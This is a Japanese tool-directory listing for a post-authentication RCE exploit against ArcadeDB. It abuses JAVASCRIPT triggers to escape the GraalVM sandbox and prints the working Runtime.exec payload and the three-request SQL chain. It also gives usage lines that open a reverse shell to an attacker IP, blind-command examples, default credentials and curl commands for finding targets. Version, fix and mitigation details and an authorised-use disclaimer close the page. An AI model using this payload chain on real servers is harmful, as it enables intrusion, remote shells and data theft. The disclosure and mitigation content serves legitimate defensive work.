Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-67340_exploit — JavaScriptトリガーによるGraalVMサンドボックスエスケープを利用したArcadeDB向け認証後RCEエクスプロイト。HTTP API経由でOSコマンドを実行し、リバースシェルまたはブラインドコマンドモードに対応。 | Kitploit
ツール/GitHubGitHub/0xdak/cve-2026-67340_exploit
エクスプロイトウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

JavaScriptトリガーによるGraalVMサンドボックスエスケープを利用したArcadeDB向け認証後RCEエクスプロイト。HTTP API経由でOSコマンドを実行し、リバースシェルまたはブラインドコマンドモードに対応。

リポジトリを見る
16日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67340 — ArcadeDB JAVASCRIPT トリガースクリプト RCE(認証後)

ArcadeDB(Java製のマルチモデルデータベース)では、ホストクラスに到達する JAVASCRIPTトリガー を介して、認証後のリモートコード実行が可能です。

トリガーの GraalVM ポリグロットエンジンは、java.lang.* を含むホストクラスの許可リストを備えて構築されています(ScriptTriggerExecutor.setAllowedPackages)。そのため、トリガースクリプトから次の呼び出しが可能です:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) はこれをブロックしません — Runtime.exec は GraalVM のゲストプロセス API ではなく、HostAccess.ALL によって許可されるホストメソッド呼び出しだからです。トリガーの作成に必要なのは**UPDATE_SCHEMA** 権限だけです(直接のスクリプト実行を制限する UPDATE_SECURITY よりも弱い権限)。そのため root でも実行可能であり、HTTP API 経由の認証後RCE となります。

  • 影響を受けるバージョン: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • 修正バージョン: 26.7.2 (トリガーの許可リストから java.lang.* を削除 + プロセス/リフレクション/クラスローダーの拒否リスト付き HostClassLookupFilter を追加)
  • デフォルトポート: 2480 (HTTP API + Studio、Basic 認証)
  • CWE: 94 (コードインジェクション) / サンドボックスエスケープ
  • 影響: ArcadeDB プロセスのユーザーとして OS コマンドが実行される

直接の language:js コマンドパスは攻撃経路ではありません — 許可パッケージがなく(Java.type はブロック)、UPDATE_SECURITY 権限が必要です。トリガーエグゼキュータのみが java.lang.* をハードコードしています。

要件

Python 3 標準ライブラリのみ — 依存関係はありません。UPDATE_SCHEMA 権限を持つ有効な ArcadeDB の認証情報(例: root)が必要です。ArcadeDB にはハードコードされたデフォルトパスワードはありませんが、同梱の docker-compose.yml にはサンプルの root:playwithdata が含まれており、これはよくそのまま放置されがちな認証情報です。

使用方法

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

動作原理

認証済みの POST /api/v1/command/<db> リクエストを3回送信します(language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — BEFORE CREATE トリガーが発火し、JavaScript が実行されます。

OS コマンドは base64 でラップされているため、JavaScript/SQL/JSON の各レイヤーでネストした引用符のエスケープが不要です。また、スクリプトは waitFor() を省略しているため exec は即座に戻ります(子プロセスは実行を続け、リクエストはブロックされません)。

ターゲットの特定

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

対策

ArcadeDB ≥ 26.7.2 にアップグレードし、強力な rootPassword を設定してください(playwithdata は絶対に使用しないこと)。ArcadeDB を root で実行せず、UPDATE_SCHEMA を制限し、HTTP API/Studio を信頼できないネットワークに公開しないでください。

免責事項

許可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。

ツールをダウンロード